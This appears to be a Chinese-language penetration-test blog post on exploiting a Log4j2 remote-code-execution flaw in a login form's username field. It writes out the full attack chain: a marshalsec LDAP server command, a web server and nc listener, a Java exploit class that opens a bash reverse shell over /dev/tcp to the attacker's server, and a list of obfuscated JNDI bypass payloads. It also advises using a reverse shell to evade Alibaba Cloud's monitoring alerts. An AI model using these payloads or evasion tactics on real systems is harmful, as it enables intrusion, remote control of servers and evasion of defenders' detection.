根据给出的目标,星期一星期二开始了漫长的资产信息收集,比较幸运在星期三发现一个高利用的站点 。
声明:本次测试以获得合法授权前提下进行 这个站点在我打开的看见的第一眼就给我有戏感觉。事实确实如此:在登录的POST数据包请求中的username字段存在log4j2 rce,一开始我也是把log4j2的poc插满了整个数据包的字段,发送后检测到dnslog上有动静。在利用dnslog ping的特性准确的定位了username字段值。
思路 接下来的操作就跟网上主流的操作不太一样了,这里我采用的思路时通过marshalsec架起一个ldap服务,端口时1389。在用java编写好的exp编译成.class文件,上传到攻击服务器,并在此文件目录下开启web服务。在再攻击服务器上起一个nc -lvvp port 进行反弹shell的监听。 为什么不上传木马进行getshell? 因为这是台阿里云的服务器,上传木马的话可以会引起阿里云的短信通知告警…………如果你对你的马有把握能不引起阿里云监控程序的告警,当我没说:) 而通过反弹shell的方式是又内向外发起连接,所有比较安全,可以躲过阿里云vps上的监控服务。
准备阶段 1 2 3 4 5 6 7 8 # marshalsec起服务 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://攻击服务器IP:web服务开放端口/#Exploit" # 开启web服务 python3 -m http.serve 9000 # 开启NC监听端口 nc -lvvp 8888
java exp 文件,根据目标修改一下,再编译成.class文件即可
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 public class log4j2_exp { public log4j2_exp(){ try{ // 要执行的命令 String[] commands = {"bash","-c","exec 5<>/dev/tcp/攻击服务器IP/8888;cat <&5 | while read line; do $line 2>&5 >&5; done"}; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { log4j2_exp e = new log4j2_exp(); } }
实施阶段 编译 上传至攻击服务器,并开启web服务 burp发送exp,服务器收到反弹shell 后续就是什么权限维持了,能服务器保持多久的联系,全凭个人本事了……
tips 互联网上收集的一些绕过姿势
1 2 3 4 5 6 ${jndi:ldap://malicious-ldap-server.com/a} ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://example.com/a} ${${env:TEST:-j}ndi${env:TEST:-:}${env:TEST:-l}dap${env:TEST:-:}//example.com} ${jndi:${lower:l}${lower:d}a${lower:p}://example.com/a} ${jndi:ldap:192.168.1.1/a} ${jndi:ldap:192.168.1.1:/a} 注意此时需要ldap服务端口为1389 …………
OVER~